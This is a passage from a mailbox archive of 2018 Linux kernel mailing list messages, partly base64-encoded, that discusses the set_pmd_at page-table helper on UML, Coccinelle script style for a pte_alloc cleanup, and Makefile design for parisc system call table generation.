wqDCoMKgwqDCoCAvKiBTZXQgdGhlIG5ldyBwbWQgKi8KPj4+Pj4+ICvCoMKgwqDCoMKgwqDCoCBz
ZXRfcG1kX2F0KG1tLCBuZXdfYWRkciwgbmV3X3BtZCwgcG1kKTsKPj4+Pj4gVU1MIGRvZXMgbm90
IGhhdmUgc2V0X3BtZF9hdCBhdCBhbGwKPj4+PiBFdmVyeSBhcmNoaXRlY3R1cmUgZG9lcy4gOikK
Pj4+IEkgdHJpZWQgdG8gYnVpbGQgaXQgcGF0Y2hpbmcgdnMgNC4xOS1yYyBiZWZvcmUgSSBtYWRl
IHRoaXMgc3RhdGVtZW50IGFuZAo+Pj4gcmFuIGludG8gdGhhdC4KPj4+Cj4+PiBQcmVzZW50bHkg
aXQgZG9lcyBub3QuCj4+Pgo+Pj4gaHR0cHM6Ly9lbGl4aXIuYm9vdGxpbi5jb20vbGludXgvdjQu
MTktcmM3L2lkZW50L3NldF9wbWRfYXQgLSBVTUwgaXMgbm90Cj4+PiBvbiB0aGUgbGlzdC4KPj4g
T25jZSB0aGlzIHByb2JsZW0gYXMgd2VsbCBhcyB0aGUgb21pc3Npb25zIGluIHRoZSBpbmNsdWRl
IGNoYW5nZXMgZm9yIFVNTCBpbgo+PiBwYXRjaCBvbmUgaGF2ZSBiZWVuIGZpeGVkIGl0IGFwcGVh
cnMgdG8gYmUgd29ya2luZy4KPj4KPj4gV2hhdCBpdCBuZWVkcyBpcyBhdHRhY2hlZC4KPiBXZWxs
LCB0aGUgb3B0aXphdGlvbiBpcyBvbmx5IHN1aXRhYmxlIGZvciBhcmNoIHRoYXQgaGFzIDMgb3Ig
bW9yZSBsZXZlbHMKPiBvZiBwYWdlIHRhYmxlcy4gT3RoZXJ3aXNlIGl0IHdpbGwgbm90IGhhdmUg
W25vbi1mb2xkZWRdIHBtZC4KPgo+IEFuZCBpbiB0aGlzIGNhc2UgYXJjaC91bSBhbHJlYWR5IHNo
b3VsZCBoYXZlIHNldF9wbWRfYXQoKSwgc2VlCj4gM19MRVZFTF9QR1RBQkxFUy4KPgo+IFRvIHBv
cnQgb24gMi1sZXZlbCBwYWdpbmcsIGl0IGhhcyB0byBiZSBoYW5kbGVkIG9uIHBnZCBsZXZlbC4g
SXQKPiBjb21wbGljYXRlcyB0aGUgY29kZSBhbmQgd2lsbCBub3QgYnJpbmcgbXVjaCB2YWx1ZS4K
PgpVTUwgaGFzIDMgbGV2ZWwgcGFnZSB0YWJsZXMgb24gNjQgYml0LgoKQS4KCgpfX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpsaW51eC1zbnBzLWFyYyBtYWls
aW5nIGxpc3QKbGludXgtc25wcy1hcmNAbGlzdHMuaW5mcmFkZWFkLm9yZwpodHRwOi8vbGlzdHMu
aW5mcmFkZWFkLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2xpbnV4LXNucHMtYXJj


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.janitors,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Sat, 13 Oct 2018 11:22:49 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <e1be1dda-90ab-052d-496b-3de01ffc80d1@users.sourceforge.net>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <03b524f3-5f3a-baa0-2254-9c588103d2d6@users.sourceforge.net>
 <20181012194210.GA27630@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1539422593 18519 195.159.176.226 (13 Oct 2018 09:23:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 09:23:13 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.2.1
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, kernel-janitors@vger.kernel.org,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org,
 Lokesh Gidra <lokeshgidra@google.com>, sparclinux@vger.kernel.org,
 linux-riscv@lists.infradead.org, kvmarm@lists.cs.columbia.edu,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
 Daniel Colascione <dancol@google.com>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Hugh Dickins <hughd@google.com>,
 "James E. J. Bottomley" <jejb@parisc-linux.org>, kasan-dev@googlegroups.com,
 Ingo M
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Oct 13 11:23:04 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gBG8U-0004bd-FF
	for gla-linux-snps-arc@m.gmane.org; Sat, 13 Oct 2018 11:23:02 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=c0GZJ2j02gGE0ASDSrvVvBCZ0fDipKKwEaNq9MTv5L8=; b=RnwaE3kVsOCqLi
	kdD7djN0QRRqF0AX3irwW5mB/kD1T+86a3CJFyaS1zAZ3MMYFebcRaou4u/YFiojlcGvK2/iyIh6j
	dZnVwfkijulUa0c0TgPwIEaB/6GHNoutTGL7UXZky31Oposzz4rSSQ+S7PKl2ynbueGBh7Vx0ExlZ
	J95MPxvrE04GyQvewgpD37VpffQJMuHFMWad0J1jAK9zYPMZf1AEyibEQlB6nYYRHlUWN6od5j7Lr
	LosYrUPRDOk4XghCWBa7YeCE5SNkAGkfg9jTFTQwPiJWIshyVdoicspauZw6eGI08bFhhmjlbbH7q
	H9y9fW2zvKrVhLhqRB+w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gBGAZ-0003DJ-9a; Sat, 13 Oct 2018 09:25:11 +0000
Original-Received: from mout.web.de ([212.227.15.14])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gBGAU-0002fr-R0; Sat, 13 Oct 2018 09:25:08 +0000
Original-Received: from [192.168.1.2] ([77.182.109.121]) by smtp.web.de (mrweb004
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0Ljgd6-1fe7F90cKO-00bZio; Sat, 13
 Oct 2018 11:23:11 +0200
Original-Received: from [192.168.1.2] ([77.182.109.121]) by smtp.web.de (mrweb004
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0Ljgd6-1fe7F90cKO-00bZio; Sat, 13
 Oct 2018 11:23:11 +0200
In-Reply-To: <20181012194210.GA27630@joelaf.mtv.corp.google.com>
Content-Language: en-GB
X-Provags-ID: V03:K1:opVsTsdRSQYHnglK8xvkCUZUswSzgAiKoS+KIhCNIvHd3Yq3Ufx
 ceTjZIQMEq4s0BqtUDsQA+V/NSZ/iWF9ovz8l3V5T+EzWg7BbDd+DB1TsHw9ObirhajDCPf
 m94io4so/kUaQ+paPJXJjuENjQDWI0XLcPpR7a3huBeUNpGTXKQjSmr/JDL+b4gW6p57u4Z
 1BzRLcEsMoiZQwc663VQA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:v6MarwJQGgc=:Ymq3Px86/PQtPzMwB8SDWz
 2sVTW3LAMS2aIZ8Ekzl7/SDvldDrpm06rM73xwb0uYPMZ3GHwT//p8vaal6x17s8ay7WilQrz
 K1Bg967tVvkE9O+bHYv3RH85K5N3GlfnSnpVrzbF5FATwM77bmyW3MOdfKY7APM2E6r4svqKH
 MjIc6EhkL1944Pl4HVJszGwMBqx/ea3HMQWVGQE7Fd0Ebm1oh0deQfClHVkLGh8/eDgF8Djb6
 zhE9SKkfVZD6CWg7y9Zr8UuLknPaHhds4jQlAMO+YyPfNMHH3UXbXN3LViy8PQi9Sfu/wr8jr
 3+NabdySRdW+Eh9PkizWR+WbpiupacwKtItrKdb/mvDoVJACLixppwElNeEYZJCv3pD52wuiM
 eNEH08JILjZld6narndqV/zqIowHw7k2AsltgBKw0Mqlcd3QvKYQQZP0kzRbToXq5ZBasFKx6
 U+BMMQhDfw/6IIb5b051oCjD+wiruFio921rpsNCRU5y6aHnm+w7j8hRQukryGIa8LOrD4JCW
 yaRthF7hb06kDcJkklIkR9xn6uu3m37H3Ya+z/Dsj+VDmHFNkctUwe9XY3r0EKO0MJqy4riYs
 Lund5+9Dymq/dXSENAL9MmfFRdRSfOQ12yYUHLRKcOYrSNFpBluxLsiBkqcJq5jwuxdjSZhRe
 QzXp5jsYL6wwfiq9dly7RAYyGqQBu1TI8IMDHj5CyOWHrrPCt6S8e7162OjoHxsMqNTW8Aaoo
 z0PdDLyq3fVbSyAsDljIS3uoxrzwE7ryXbtER5vO5qv8MegP+wfnql8gFgSZR2DOoTwd1GhV 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181013_022507_209337_060A18A7 
X-CRM114-Status: GOOD (  15.73  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [212.227.15.14 listed in list.dnswl.org]
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4554 gmane.linux.ports.mips.general:67079 gmane.linux.ports.ia64:29405 gmane.linux.ports.sh.devel:57652 gmane.linux.kernel.janitors:54788 gmane.linux.kernel.mm:205250 gmane.linux.ports.sparc:28573 gmane.linux.ports.riscv:1074 gmane.comp.emulators.kvm.arm.devel:19466 gmane.linux.ports.hexagon:1927 gmane.linux.ports.arm.kernel:679454 gmane.linux.ports.parisc:29181 gmane.linux.kernel:2898205 gmane.linux.ports.alpha:5329 gmane.linux.ports.ppc64.devel:164204
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4554>

Pj4+IFRoZSBjaGFuZ2VzIHdlcmUgb2J0YWluZWQgYnkgYXBwbHlpbmcgdGhlIGZvbGxvd2luZyBD
b2NjaW5lbGxlIHNjcmlwdC4KCkhvdyBkbyB5b3UgdGhpbmsgYWJvdXQgdG8gYWRqdXN0IHRoZSBv
cmRlciBvZiBwcm92aWRlZCBpbmZvcm1hdGlvbgppbiB0aGUgY29tbWl0IGRlc2NyaXB0aW9uPwox
LiBVcGRhdGUgZ29hbHMKMi4gVHJhbnNmb3JtYXRpb24gaW1wbGVtZW50YXRpb24gYXQgdGhlIGVu
ZAoKCj4+ICJeKD86cHRlX2FsbG9jKD86X29uZSg/Ol9rZXJuZWwpPyk/fF9fcHRlX2FsbG9jKD86
X2tlcm5lbCk/KSQiOwo+IAo+IFN1cmUgaXQgbG9va3MgbW9yZSBjbGV2ZXIsIGJ1dCB3aHk/Cgox
LiBVc2FnZSBvZiBub24tY2FwdHVyaW5nIHBhcmVudGhlc2VzCjIuIENsZWFyZXIgc3BlY2lmaWNh
dGlvbiB3aGljaCBwYXJ0cyBjYW4gYmUgdHJlYXRlZCBhcyBvcHRpb25hbAogICBpbiB0aGUgc2Vh
cmNoIHBhdHRlcm4uCgoKPiBVZ2ggdGhhdCdzIGhhcmRlciB0byByZWFkIGFuZCBjb25mdXNpbmcu
CgoqIERvIHlvdSBjYXJlIGZvciBjb2Rpbmcgc3R5bGUgYW5kIGV4ZWN1dGlvbiBzcGVlZCBvZiBy
ZWd1bGFyIGV4cHJlc3Npb25zPwoKKiBJZiB5b3Ugd291bGQgcHJlZmVyIHRvIGxpc3QgZnVuY3Rp
b24gbmFtZXMgd2l0aG91dCBwbGFjZWhvbGRlcnMsCiAgeW91IGNhbiBldmVudHVhbGx5IHNwZWNp
ZnkgdGhlbSBhbHNvIHdpdGhpbiBTbVBMIGRpc2p1bmN0aW9ucyBkaXJlY3RseS4KCiogSXQgY2Fu
IGxvb2sgc2ltcGxlciB0byB1c2UgYW4gaWRlbnRpZmllciBsaXN0IGFzIGEgY29uc3RyYWludCB2
YXJpYW50LgogIGh0dHA6Ly9jb2NjaW5lbGxlLmxpcDYuZnIvZG9jcy9tYWluX2dyYW1tYXIwMDIu
aHRtbAoKCj4gQWdhaW4gdGhpcyBpcyBjb25mdXNpbmcuCgpUaGUgdmlldyBwb2ludHMgY2FuIGJl
IGRpZmZlcmVudCBmb3Igc3VjaCBTbVBMIGNvZGUuCgogVDMgZm4oVDEgRTEKKAotICAgICAgICAg
ICAsIFQyIEUyCnwgICAgICAgICAgICwgVDIgRTIKLSAgICAgICAgICAgLCBUNCBFNAopICAgICAp
OwoKCj4gSXQgbWFrZXMgb25lIHRoaW5rIHRoYXQgbWF5YmUgdGhlIHNlY29uZCBhcmd1bWVudCBj
YW4gYWxzbyBiZSByZW1vdmVkCgpZb3UgZXhwcmVzc2VkIHRoaXMgYXMgdGhlIGZpcnN0IHRyYW5z
Zm9ybWF0aW9uIHBvc3NpYmlsaXR5LCBkaWRuJ3QgeW91PwoKWW91IHdvdWxkIGxpa2UgdG8gZGVs
ZXRlIGFuIGFyZ3VtZW50IGZyb20gdGhlIGVuZCBvZiBhIGZ1bmN0aW9uCm9yIG1hY3JvIHBhcmFt
ZXRlciAob3IgZXhwcmVzc2lvbikgbGlzdC4KSSBzdWdnZXN0IHRoZW4gYWdhaW4gdG8gYXZvaWQg
dGhlIFNtUEwgc3BlY2lmaWNhdGlvbiBvZiBzb3VyY2UgY29kZSBhZGRpdGlvbnMKKHBsdXMgbGlu
ZXMgaW4gdGhlIGZpbGUgZGlmZmVyZW5jZSBmb3JtYXQpLgoKCj4gYW5kIHJlcXVpcmVzIGNhcmVm
dWwgb2JzZXJ2YXRpb24gdGhhdCB0aGUgIik7IiBmb2xsb3dzLgoKWWVzLCBvZiBjb3Vyc2UuCgpX
b3VsZCB5b3UgY2FyZSBtb3JlIGluIHRoZSBkaXN0aW5jdGlvbiB3aGljaCBjb2RlIHBhcnRzIHNo
b3VsZCBiZSBrZXB0IHVuY2hhbmdlZD8KCgo+IFJpZ2h0LCBJIGRvbid0IG5lZWQgaXQgaW4gdGhp
cyBjYXNlLgoKVGhhbmtzIGZvciB5b3VyIHVuZGVyc3RhbmRpbmcgdGhhdCB0aGUgbWV0YXZhcmlh
YmxlIOKAnHBvc2l0aW9uIHDigJ0KY2FuIGJlIGRlbGV0ZWQgaW4gdGhlIFNtUEwgcnVsZSDigJxw
dGVfYWxsb2NfbWFjcm/igJ0uCgoKPiBCdXQgdGhlIHNjcmlwdCB3b3JrcyBlaXRoZXIgd2F5LgoK
SSBpbWFnaW5lIHRoYXQgeW91IGNhbiBiZWNvbWUgaW50ZXJlc3RlZCBpbiBhIGJpdCBuaWNlciBy
dW4gdGltZSBjaGFyYWN0ZXJpc3RpY3MuCgoKPiBJIGxpa2UgdG8gdGFrZSBtb3JlIG9mIGEgcHJv
YmxlbSBzb2x2aW5nIGFwcHJvYWNoIHRoYXQgbWFrZXMgc2Vuc2UsCgpUaGlzIGlzIHVzdWFsLgoK
Cj4gdGhhbiBhaW1pbmcgZm9yIHBlcmZlY3Rpb24sCgpJZiB5b3Ugd2lsbCB3b3JrIG1vcmUgd2l0
aCBzY3JpcHRzIGZvciB0aGUgc2VtYW50aWMgcGF0Y2ggbGFuZ3VhZ2UsCnlvdSBtaWdodCBiZWNv
bWUgdXNlZCB0byBhZGRpdGlvbmFsIGNvZGluZyB2YXJpYW50cy4KCgo+IGFmdGVyIGFsbCB0aGlz
IGlzIGEgdXNlZnVsIHNjcmlwdCB0aGF0IHdlIGRvIG5vdCBuZWVkIHRvIGNoZWNrCj4gaW4gb25j
ZSB3ZSBmaW5pc2ggd2l0aCBpdC4KCkkgYW0gY3VyaW91cyBpZiB0aGVyZSB3aWxsIGV2b2x2ZSBh
IG5lZWQgdG8gYWRkIHNpbWlsYXIgdHJhbnNmb3JtYXRpb24gYXBwcm9hY2hlcwp0byBhIGtub3du
IHNjcmlwdCBjb2xsZWN0aW9uLgpodHRwczovL2dpdC5rZXJuZWwub3JnL3B1Yi9zY20vbGludXgv
a2VybmVsL2dpdC90b3J2YWxkcy9saW51eC5naXQvdHJlZS9zY3JpcHRzL2NvY2NpbmVsbGU/aWQ9
NzlmYzE3MGIxZjVjMzZmNDg2ZDg4NmJmYmQ1OWViNGU2MjMyMTEyOAoKV291bGQgeW91IGV2ZW50
dWFsbHkgbGlrZSB0byBydW4gc3VjaCBzY3JpcHRzIG9uY2UgbW9yZT8KClJlZ2FyZHMsCk1hcmt1
cwoKX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KbGludXgt
c25wcy1hcmMgbWFpbGluZyBsaXN0CmxpbnV4LXNucHMtYXJjQGxpc3RzLmluZnJhZGVhZC5vcmcK
aHR0cDovL2xpc3RzLmluZnJhZGVhZC5vcmcvbWFpbG1hbi9saXN0aW5mby9saW51eC1zbnBzLWFy
Yw==


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Sat, 13 Oct 2018 21:04:34 +0530
Lines: 236
Approved: news@gmane.org
Message-ID: <CALxhOngneZuumfn9X9nU3MSB5S7Vasm9gwXvFSw_T_hzSuuKtQ@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-4-git-send-email-firoz.khan@linaro.org> <CAK8P3a1Ua0c9H006=_m=EHUufoUX5-d-m9fZcL_sF4mMJuLhkQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539444764 19973 195.159.176.226 (13 Oct 2018 15:32:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 13 Oct 2018 15:32:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>,
        Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 13 17:32:39 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gBLuA-00053q-M6
	for glk-linux-kernel-4@m.gmane.org; Sat, 13 Oct 2018 17:32:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726663AbeJMXMX (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 13 Oct 2018 19:12:23 -0400
Original-Received: from mail-yw1-f68.google.com ([209.85.161.68]:41232 "EHLO
        mail-yw1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726329AbeJMXMX (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 13 Oct 2018 19:12:23 -0400
Original-Received: by mail-yw1-f68.google.com with SMTP id 135-v6so6066965ywo.8
        for <linux-kernel@vger.kernel.org>; Sat, 13 Oct 2018 08:34:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=6eUhFA68+kel2xdQ7TYDrb7mjx/DUjv8aCf06vUmMeo=;
        b=K3A5LuBBD5uPx3dKmbna+tK41m+gqRd9yKZOQqt4DbqAvtNwm+kHFgufSdKw29xdH0
         lCGBUYjflAtH8XGG+omQHfh63B5HHRKxkzm4W8RUw8NFwaQvEQZ17WRpQmi2CbE7KxfA
         F9fiyNx16vtONmWTTLDJ8deIh0tUcnkSSlVvM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=6eUhFA68+kel2xdQ7TYDrb7mjx/DUjv8aCf06vUmMeo=;
        b=sTbIOw7QXfQb5hfzLWEzGAbbAXf1OmReL84UGFKjBZU2SFhwUWnM2iOnuA+WwI/iyK
         RSoTyWNGDl0G2VNAgr60TwmGFV1LBcR2qyjwHpqIup2hgW291orI7o0RWZVeCkpsziAH
         EGO2aWQSgMLahuiOuFJILg0TFZOhNTtrjZmZoz2h36r5w069zi+G0XrlOlnxOG3Bc5QX
         aMaW9u/ASDGUlm9NRJkUSqbx68iT8c2dsKjhdcZxXjn42tbswuICCTuy4F0Njlrsg7xS
         qOb2MsbsUzIxHuMe1ob+gjwBoWlE9eEjEbAXTh+HEzeQ3A/ohxW1olVKgzlQwpniqWvm
         Tqfw==
X-Gm-Message-State: ABuFfoiHQlqMZHBjhk9yeHc+pM2knr3opPJIBKKGt7wNO1wH65iR20AB
        B7mFYySt8isYWWGDW8wkyS8/Alu8/J8alWRaJ1dnRA==
X-Google-Smtp-Source: ACcGV62fl9GroK2IpWoCyulaHkJOnzip5Qtfnx8mtCOipuhpYwBzzEY1Bu+Ya3osCuKHqFNYgz28L/g1Bll1+522YuU=
X-Received: by 2002:a81:5f86:: with SMTP id t128-v6mr5987898ywb.84.1539444885945;
 Sat, 13 Oct 2018 08:34:45 -0700 (PDT)
In-Reply-To: <CAK8P3a1Ua0c9H006=_m=EHUufoUX5-d-m9fZcL_sF4mMJuLhkQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2898312 gmane.linux.ports.parisc:29182 gmane.linux.kernel.year-2038:3523 gmane.linux.kernel.cross-arch:47785
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2898312>

+ Rolf
Hi Arnd, Helge, Rolf,

On Fri, 12 Oct 2018 at 17:21, Arnd Bergmann <arnd@arndb.de> wrote:
>
> On Fri, Oct 12, 2018 at 11:45 AM Firoz Khan <firoz.khan@linaro.org> wrote:
>
> > diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
> > new file mode 100644
> > index 0000000..a0af5a3
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/Makefile
>
> > +syshdr_abi_unistd_32 := common,32
> > +syshdr_offset_unistd_32 := __NR_Linux
> > +$(uapi)/unistd_32.h: $(syscall) $(syshdr)
> > +       $(call if_changed,syshdr)
> > +
> > +syshdr_abi_unistd_64 := common,64
> > +syshdr_offset_unistd_64 := __NR_Linux
> > +$(uapi)/unistd_64.h: $(syscall) $(syshdr)
> > +       $(call if_changed,syshdr)
>
> The __NR_Linux seems misplaced here, don't we need that only for ia64
> and mips?

No, It wasn't misplaced. you can refer below link.
https://github.com/torvalds/linux/blob/master/arch/parisc/include/uapi/asm/unistd.h#L16

FYI, In IA64, I added the __NR_Linux to come up a generic .tbl file
starts with 0 as a part
system call table generation. I think you might be applied my IA64
patches locally sometimes
before and now you might be confused.
https://github.com/torvalds/linux/blob/master/arch/ia64/include/uapi/asm/unistd.h

Yes, MIPS also uses this macro.

>
> > +systbl_abi_syscall_table_32 := common,32
> > +$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
> > +       $(call if_changed,systbl)
> > +
> > +systbl_abi_syscall_table_64 := common,64
> > +$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
> > +       $(call if_changed,systbl)
>
> Have you considered making the 'common' part implied?
> I expected to see it done that way, although listing it explicitly
> doesn't seem harmful either.

It can't be done in that way easily, I see some problem there existing script.

The problem you will understand by removing "common" and run the script.
You can do diff before and after the generated files.
ref: grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (

FYI, x86/arm/s390 implementation listing explicitly! So I almost followed
there way of implementation.

If you really want that way, please comment here. I need to redo the
scripting for
all 10 architecture.

>
> > +systbl_abi_syscall_table_c32 := common,compat,32
> > +$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
> > +       $(call if_changed,systbl)
>
> The way you specify 'compat' as one item in a list of
> ABIs seems rather odd, I'd suggest keeping that a separate
> flag.

Commented below.

>
> Passing "common|32" as the list of ABIs in the first argument,
> and 'compat' as the second argument.
>
> I think you can also pass arguments to 'if_changed', rather than
> setting a global variable to control it.

Sure. I'll have a look into this one!

> arch/powerpc/boot/Makefile has some examples of that.
> It should be possible to do this like
>
> $(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
>        $(call if_changed,systbl,common|32,compat)

This is something interesting!
Rolf, I was trying to explain this one yesterday. Sorry, I know I
haven't composed
the mail properly.

The uapi header generation script syscall table header generation script is
invoked by this Makefile.

systbl_abi_syscall_table_32 := common,32
$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
        $(call if_changed,systbl)

Here I want to generate systbl_abi_syscall_table_32, so I'll pass few
args including the .tbl file.
So script must have to identify that it is for 32. It has to read 4th
column as <32/64 entry point>
from the .tbl file.

# The format is:
# <number> <abi> <name> <32/64 entry point> <compat entry point>
5       common  open                            sys_open
         compat_sys_open

Similarly for 64 also. Same 4th column should have to read.

systbl_abi_syscall_table_c32 := common,compat,32
$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
        $(call if_changed,systbl)

But for compat interface either it has to read 5th column if present,
otherwise 4th column.
Script won't understand it is for compat unless we have to explicitly
inform from Makefile.

There are multiple way to do:

1. This implementation
systbl_abi_syscall_table_c32 := common,compat,32 /* Makefile */

my_abi="$(cut -d'|' -f2 <<< $my_abis)" /*systbl.sh */
if [ $my_abi = "compat" ]; then
            if [ -z "$compat" ]; then
                emit $nxt $nr $entry
            else
                emit $nxt $nr $compat
            fi
        else
            emit $nxt $nr $entry
        fi

2. Add extra flag in the Makefile

systbl_abi_syscall_table_c32 := common,32
systbl_xyz_syscall_table_c32 := compat
$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
